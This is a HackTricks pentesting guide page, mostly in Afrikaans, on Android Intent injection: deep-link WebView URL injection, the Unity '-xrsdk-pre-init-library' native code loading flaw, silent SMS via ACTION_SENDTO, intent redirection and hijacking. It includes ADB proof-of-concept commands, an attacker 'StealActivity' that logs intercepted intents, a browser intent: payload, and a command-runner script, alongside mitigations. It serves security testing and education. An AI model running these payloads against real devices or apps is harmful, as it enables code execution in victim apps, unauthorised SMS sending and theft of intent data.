Intent Injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Intent injection misbruik komponentë wat aanvaller-gekontroleerde Intents of data wat later in Intents omgeskakel word, aanvaar. Twee baie algemene patrone tydens Android app pentests is:
- Deur aangepaste extras aan exported Activities/Services/BroadcastReceivers te stuur wat later na bevoorregte, non-exported komponentes deurgegee word.
- Aktiveer exported VIEW/BROWSABLE deep links wat deur die aanvaller beheerde URLs na interne WebViews of ander sensitiewe sinks deurstuur.
Deep links â WebView sink (URL parameter injection)
Indien ân app ân custom scheme deep link blootstel soos:
myscheme://com.example.app/web?url=<attacker_url>
en as die ontvangende Activity die url queryparameter na ân WebView deurgee, kan jy die app dwing om willekeurige eksterne inhoud in sy eie WebView-konteks te vertoon.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS voer binne die appâs WebView-profiel uit.
- If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed
@JavascriptInterfaceobjects, steal WebView cookies/local storage, and pivot.
See also:
Order-of-checks bug enabling JavaScript
A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.
What to look for in decompiled code:
- Meerdere helpers wat die URL op verskillende maniere parse/split/rebuild (inconsistent normalization).
- Aanroepe na
getSettings().setJavaScriptEnabled(true)voor die laaste host/path allowlist check. - ân pipeline soos: parse â partial validate â configure WebView â final verify â loadUrl.
Unity Runtime: Intent-to-CLI extras â pre-init native library injection (RCE)
Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unityâs Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app â and sometimes a website if BROWSABLE is present â can supply this extra.
A dangerous, undocumented flag leads to native code execution during very early process initialization:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)very early in init, loading attacker-controlled ELF inside the target appâs process with its UID and permissions.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Waarom dit werk
- Die Intent extra
unityword ontleed in Unity runtime-vlagte. - Deur die pre-init flag te verskaf wys Unity na ân attacker-controlled ELF path binne ân toegelate linker namespace path (sien beperkings hieronder).
Voorwaardes vir uitbuiting
- Die Unity entry Activity is exported (gewoonlik standaard waar).
- Vir one-click remote via browser: die entry Activity verklaar ook
android.intent.category.BROWSABLEsodat extras van ânintent:URL deurgegee kan word.
Lokale uitbuiting (dieselfde toestel)
- Plaas ân payload ELF op ân pad wat deur die victim app gelees kan word. Maklikste: los ân malicious library in jou eie attacker app en verseker dit word uitgepak onder
/data/app/.../lib/<abi>/deur dit in die attackerâs manifest te stel:
<application android:extractNativeLibs="true" ...>
- Begin die slagoffer se Unity activity met die CLI pre-init flag in die
unityextra. Voorbeeld ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); jou payload loop in die slagofferproses en erf al die app-magtigings (kamera/mikrofoon/netwerk/stoor, ens.) en toegang tot in-app sessies/data.
Notes
- Die presiese
/data/app/...-pad verskil tussen toestelle/installasies. ân attacker app kan sy eie native lib dir tydens runtime opvra viagetApplicationInfo().nativeLibraryDiren dit aan die trigger kommunikeer. - Die lĂȘer hoef nie op
.sote eindig nie as dit ân geldige ELF is âdlopen()kyk na ELF-koptekste, nie na uitbreidings nie.
Remote oneâclick via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Op moderne Android blokkeer die dynamic linker namespaces en SELinux die laai vanaf baie openbare paaie (bv. /sdcard/Download). Jy sal foute soos die volgende sien:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Omseilstrategie: mik op apps wat aanvaller-beheerde bytes onder hul private berging kashou (bv. HTTP caches). Omdat toegelate paaie /data en die appâs private dir insluit, kan -xrsdk-pre-init-library na ân absolute pad binne die app se cache gewys word om aan linkerâbeperkings te voldoen en kodeâuitvoering te bewerkstellig. Dit weerspieĂ«l vroeĂ«re cache-to-ELF RCEâpatrone wat in ander Androidâapps ervaar is.
ConfusedâDeputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
Sommige standaardâmessagingâapps voer implisiete messaging intents verkeerdelik outomaties uit en verander dit in ân confusedâdeputy primitive: enige onnprivilegieerde app kan Intent.ACTION_SENDTO met sms:, smsto:, mms:, of mmsto: aktiveer en ân onmiddellike stuur veroorsaak sonder ân bevestigingsâUI en sonder die SEND_SMSâpermit.
Belangrike punte
- Uitloker: implisiete
ACTION_SENDTO+ messaging URIâskema. - Data: stel ontvanger in die URI, boodskapteks in die
"sms_body"extra. - Permissions: geen (geen
SEND_SMS), afhanklik van die standaard SMS/MMSâhandler. - Waargeneem: Google Messages for Wear OS (gepatch Mei 2025). Ander handlers moet soortgelyk geĂ«valueer word.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (geen spesiale toestemmings)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Attack surface expansion (Wear OS)
- Enige komponent wat aktiwiteite kan begin, kan dieselfde payload vuur: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - If the default handler autoâsends, abuse can be oneâtap or fully silent from background contexts depending on OEM policies.
Pentest checklist
- Resolve
ACTION_SENDTOon target to identify the default handler; verify whether it shows a compose UI or silently sends. - Exercise all four schemes (
sms:,smsto:,mms:,mmsto:) and extras (sms_body, optionallysubjectfor MMS) to check behaviour differences. - Consider charged destinations/premiumârate numbers when testing on real devices.
Other classic Intent injection primitives
- startActivity/sendBroadcast wat aanvaller-geskepte
Intentextras gebruik wat later hergeparseer word (Intent.parseUri(...)) en uitgevoer word. - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
Automating exported-component testing (Smali-driven ADB generation)
Wanneer exported components spesifieke extras verwag, veroorsaak raai oor payload-vorm tydverspilling en vals-negatiewe. Jy kan die ontdekking van sleutels/tipes direk uit Smali outomatiseer en gereed-vir-uitvoering adb-opdragte uitset.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile and scan Smali for calls like
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()to infer which extras and fields are consumed by each component. - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact
adb shell am .../cmd content ...command with correctly typed flags.
Installeer
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Gebruik
python apk-components-inspector.py target.apk
Voorbeelduitset
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras spiekbrief (tipe-bewuste flags)
- Strings:
--es key value| String array:--esa key v1,v2 - Integers:
--ei key 123| Int array:--eia key 1,2,3 - Booleans:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Algemene flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro-wenk vir ContentProviders
- Gebruik
adb shell cmd content query|insert|update|delete ...om ContentProviders te bereik sonder agents. - Vir SQLi-probing, varieer
--projectionen--where(aka selection) wanneer die onderliggende provider SQLite-backed is.
Volledige pyplyn-automatisering (interaktiewe executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Hulpskrip om adb-opdragte te parseer en uit te voer
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ârâ) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(âadb â): current = [s] elif s.startswith(â#â) or not s: if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = â â.join(current).replace(â \ â, â â).replace(â\â, ââ).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(âadbcommands.txtâ), 1): print(fâ\nCommand {i}: {cmd}â) input(âPress Enter to execute this commandâŠâ) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(âOutput:\nâ, r.stdout) if r.stderr: print(âErrors:\nâ, r.stderr) except subprocess.CalledProcessError as e: print(fâCommand failed with error:\n{e.stderr}â)
</details>
Voer op toestel uit: die inspector is Python-gebaseerd en werk in Termux of op gerootte fone waar `apktool`/`androguard` beskikbaar is.
---
## Intent Redirection (CWE-926) â vind en uitbuit
Patroon
- ân geĂ«ksporteerde toegangspunt (Activity/Service/Receiver) lees ân inkomende Intent en stuur dit intern of ekstern deur sonder om die bron/data te verifieer, bv.:
- `startActivity(getIntent())`
- `startActivity(intent)` waar `intent` van ân extra gekom het soos `redirect_intent`/`next_intent`/`pending_intent` of `Intent.parseUri(...)`.
- Vertrou op `action`/`data`/`component` velde sonder kontroles; verifieer nie die oproeper se identiteit nie.
Wat om te soek in Smali/Java
- Gebruik van `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direk `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` op deur ân aanvaller beĂŻnvloedde Intents.
- Gebrek aan `getCallingPackage()`/`getCallingActivity()` kontroles of pasgemaakte permissie-kontroles.
ADB PoC templates
- Proxy Activity wat ân ekstra Intent na ân bevoorregte interne Activity deurstuur:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- GeĂ«ksporteerde Service wat ân
redirect_intentparcelable hanteer:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Uitgevoerde ontvanger wat herlei sonder validering:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Vlagte nuttig vir singleTask-styl gedrag
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Werklike voorbeelde (impak wissel):
- CVE-2024-26131 (Element Android): exported flows wat lei tot WebView-manipulasie, PIN-omseiling, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTIONâ stelselvlak-effekte. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): omleiding â arbitrĂȘre lĂȘertoegang (met gebruikerinteraksie).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak inhoud.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Bedreigingsmodel
- App A verwag ân sensitiewe resultaat van App B via ân implicit Intent (bv. ân OAuth-omleiding, ân dokumentkieser-resultaat, ân IMAGE_CAPTURE-terugkeer, of ân pasgemaakte callback-aksie).
- Aanvaller App C publiseer ân exported komponent met ân ooreenstemmende
<intent-filter>vir dieselfdeaction/category/data. Wanneer B die implicit Intent oplos, kan die resolver ân kieser vertoon; as die gebruiker C kies (of dit as standaard stel), word die payload aan die aanvaller-komponent gelewer in plaas van aan A.
Minimal PoC-manifest (aanvaller):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Handler-skelet:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Notes
- Wedstrydspesifisiteit maak saak (action + categories + data). Hoe meer spesifiek C se filter op B se uitgaande Intent is, hoe groter is die kans dat dit getoon of outomaties geselekteer word.
- Dit geld ook vir diepe skakels (
VIEW+BROWSABLE) wanneer apps verwag dat ân ander app ân URL hanteer en iets terugstuur.
Pentest guidance
- Grep die teiken vir
startActivity/startActivityForResult/registerForActivityResultoproepe wat nie-explicit Intents gebruik. - Inspekteer Intents wat tokens dra in
extras,clipData, ofgetData()en kyk of ân derde party ân versoenbare filter kan registreer. - Beveel aan om implicit flows te vervang met explicit Intents (set
setPackage()/setComponent()), of om caller-permission/signed permissions op exported receivers/services te vereis.
Mitigations
- Voorkeur vir explicit Intents vir sensitiewe flows (callbacks, tokens, auth results).
- Wanneer cross-app nodig is, voeg permission requirements by die ontvangende komponent en valideer die caller se identiteit.
- Beperk en verskerp Intent filters tot slegs wat streng nodig is (scheme/host/path/MIME).
Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
As jy die sender beheer, voeg Intent.FLAG_DEBUG_LOG_RESOLUTION by ân implicit Intent om Android te laat log hoe resolusie plaasvind en watter komponent gekies sal word.
Example:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Wat jy in adb logcat sal sien, is die oplossingsspoor en die finale komponent, bv. com.android.camera2/com.android.camera.CaptureActivity.
CLI wenk
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Dit is nuttig om kandidaat-handlers op ân toestel/emulator op te som en presies te bevestig watter komponent ân Intent tydens toetsing sal ontvang.
Verwysings
- Android â Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 â Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector â GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab â 100M installs image app deep dive (component summary example)
- CVE-2024-26131 â NVD
- CVE-2023-44121 â CVE.org
- CVE-2023-30728 â CVE.org
- CVE-2022-36837 â CVE.org
- CVE-2021-4438 â NVD
- CVE-2020-14116 â NVD
- Android Intents (1/2): how they work, security, and attack examples â Mobeta
- Android Intent reference
- CVE-2025-59489 â Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs â Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk â Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 â Intent Abuse in Google Messages for Wear OS
- PoC repo â io-no/CVE-2025-12080
- Android docs â Intents and Intent Filters
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

